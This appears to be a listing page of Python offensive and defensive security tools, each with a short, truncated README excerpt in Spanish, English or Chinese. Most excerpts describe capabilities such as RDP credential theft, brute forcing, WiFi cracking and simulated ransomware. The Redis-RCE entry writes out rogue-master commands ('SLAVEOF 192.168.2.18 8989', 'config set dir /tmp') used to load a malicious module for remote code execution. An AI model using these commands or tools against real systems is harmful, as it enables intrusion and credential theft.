Passhunt

Passhunt Passhunt es una herramienta simple para buscar credenciales predeterminadas en dispositivos de red, aplicaciones web y más. Busca entre 523 proveedores y sus 2084 contraseñas predeterminadas. Captura de pantalla Requisitos previos Asegúrate de tener instalado lo siguiente: - Python 3.0 o...

angr

angr angr is a platform-agnostic binary analysis framework. It is brought to you by the Computer Security Lab at UC Santa Barbara, SEFCOM at Arizona State University, their associated CTF team, Shellphish, the open source community, and @rhelmot. Project Links Homepage: https://angr.io Project...

pyrdp

PyRDP PyRDP es una herramienta y librería de protocolo de escritorio remoto RDP Monster-in-the-Middle MITM en Python. Cuenta con varias herramientas: RDP Monster-in-the-Middle Registra credenciales en texto plano o hashes NetNTLM usados al conectar Roba datos copiados al portapapeles Guarda una...

analyzeMFT

AnalyzeMFT Status : All tests passing across Python 3.8-3.12 on Windows, macOS, and Linux. Quick Start Install pip install analyzeMFT Basic usage python analyzeMFT.py -f MFTFILE -o output.csv --csv Generate test MFT for testing python -c "from src.analyzeMFT.testgenerator import createtestmft;...

DroidDetective

🕵️ Un framework de análisis de malware para aplicaciones Android basado en machine learning. ☢️ DroidDetective es una herramienta Python para analizar aplicaciones Android APKs en busca de comportamientos y configuraciones potencialmente maliciosas. Al proporcionar una ruta a una aplicación archivo...

aco-prompt-shield

aco-prompt-shield 🛡️ Detén los ataques de inyección de prompt antes de que lleguen a tu LLM — sin costes de API, funciona completamente en local, se integra en 2 minutos. La inyección de prompt es el riesgo de seguridad 1 para aplicaciones LLM. aco-prompt-shield detecta patrones de jailbreak...

LFiFreak

LFI Freak Características Funciona con Windows, Linux y OS X Incluye bind y reverse shell tanto para Windows como para Linux Escrito en Python 2.7 ¿De qué se trata todo esto? Una herramienta única para explotar inclusiones de archivos locales usando los métodos PHP Input, PHP Filter y Data URI...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

PassMute

PassMute - Una herramienta de transformación/mutación de contraseñas Esta es una herramienta de línea de comandos escrita en Python que aplica una o más reglas de transformación a una contraseña dada o a una lista de contraseñas leídas de uno o más archivos. La herramienta se puede utilizar para...

RansomwareSim

RansomwareSim Descripción general RansomwareSim es una aplicación de ransomware simulada desarrollada con fines educativos y de formación. Está diseñada para demostrar cómo el ransomware cifra archivos en un sistema y se comunica con un servidor de comando y control. Esta herramienta es...

orbitaldump

OrbitalDump A simple multi-threaded distributed SSH brute-forcing tool written in Python. How it Works When the script is executed without the --proxies switch, it acts just like any other multi-threaded SSH brute-forcing scripts. When the --proxies switch is added, the script pulls a list usuall...

orbitaldump

OrbitalDump Una herramienta simple de fuerza bruta SSH distribuida y multi-hilo escrita en Python. Cómo funciona Cuando el script se ejecuta sin la opción --proxies, actúa como cualquier otro script de fuerza bruta SSH multi-hilo. Cuando se añade la opción --proxies, el script obtiene una lista...

wxpath

wxpath - recorrido declarativo de grafos web con XPath NUEVO: TUI – Interfaz de terminal interactiva impulsada por Textual para probar expresiones wxpath y exportar datos. Instalación Requiere Python 3.10+. pip install wxpath For TUI support: pip install "wxpathtui" Immediately launch the TUI via...

RAWR

RAWR - Rapid Assessment of Web Resources by: al14s - Romans 5:6-8 Twitter: @RapidWebEnum | Freenode: rawr-project Wiki - Home | Installation | Usage | Community | FAQ RAWR is a python tool that is designed to make the process of web enumeration easy and efficient by providing pertinent informatio...

maat

Acerca de Maat es un framework de código abierto para Ejecución Simbólica Dinámica y Análisis Binario. Proporciona diversas funcionalidades como ejecución simbólica, análisis de taint, resolución de restricciones, carga de binarios, simulación de entorno, y aprovecha la librería sleigh de Ghidra...

maat

About Maat is an open-source Dynamic Symbolic Execution and Binary Analysis framework. It provides various functionalities such as symbolic execution, taint analysis, constraint solving, binary loading, environment simulation, and leverages Ghidra's sleigh library for assembly lifting:...

fern-wifi-cracker

Fern Wifi Cracker Fern Wifi Cracker es un programa de software de auditoría y ataque de seguridad inalámbrica escrito utilizando el Lenguaje de programación Python y la biblioteca Python Qt GUI. El programa es capaz de descifrar y recuperar claves WEP/WPA/WPS y también ejecutar otros ataques...

susinternals

susinternals - back from the dead by @deft @cablethief & @randomwalksp reino This tool allows you executing commands remotely via the PSExeSVC service from a python script. It can be used to: Authenticate as a user with a primary token: Authenticate as system: Full blog post can be found here!...

fierce

Fierce Fierce es una herramienta de reconocimiento de DNS para localizar espacio IP no contiguo. Enlaces útiles: Sistema de Nombres de Dominio DNS Nombres de Dominio - Conceptos y Facilidades Nombres de Dominio - Implementación y Especificación Análisis de Amenazas del Sistema de Nombres de Domin...

fierce

Fierce Fierce is a DNS reconnaissance tool for locating non-contiguous IP space. Useful links: Domain Name System DNS Domain Names - Concepts and Facilities Domain Names - Implementation and Specification Threat Analysis of the Domain Name System DNS Name Servers NS State of Authority Record SOA...